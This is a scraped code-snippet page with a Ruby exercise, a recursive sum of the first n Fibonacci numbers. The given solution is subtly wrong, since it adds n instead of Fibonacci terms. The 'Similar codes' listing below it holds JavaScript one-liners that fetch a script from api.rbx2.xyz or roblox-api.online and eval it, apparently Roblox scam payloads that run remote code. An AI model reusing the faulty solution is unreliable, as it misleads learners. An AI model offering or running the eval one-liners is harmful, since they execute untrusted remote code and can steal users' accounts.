Fibonacci sums ruby

# Write a method that finds the sum of the first n fibonacci numbers recursively. 
# Assume n > 0.

def fibs_sum(n)
  return 1 if n == 1
  return 2 if n == 2
  n + fibs_sum(n-1)
end

Similar codes

0 vote140 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Ruby
0 vote146 views1 answer
Missing template clients/show with {:locale=>[:en], :formats=>[:pdf],
Ruby
1 vote194 views1 answer
Rails find all
Ruby
2 votes164 views1 answer
Ruby compiler
Ruby
0 vote156 views1 answer
Difference between is_a and kind_of ruby
Ruby
0 vote151 views2 answers
Compiler version at runtime
Ruby
5 votes122 views2 answers
Rails index name too long
Ruby
1 vote90 views1 answer
Rails engine table doesnt exist
Ruby
1 vote144 views1 answer
Add key and value to hash ruby
Ruby
-1 vote146 views3 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=2622176470
Ruby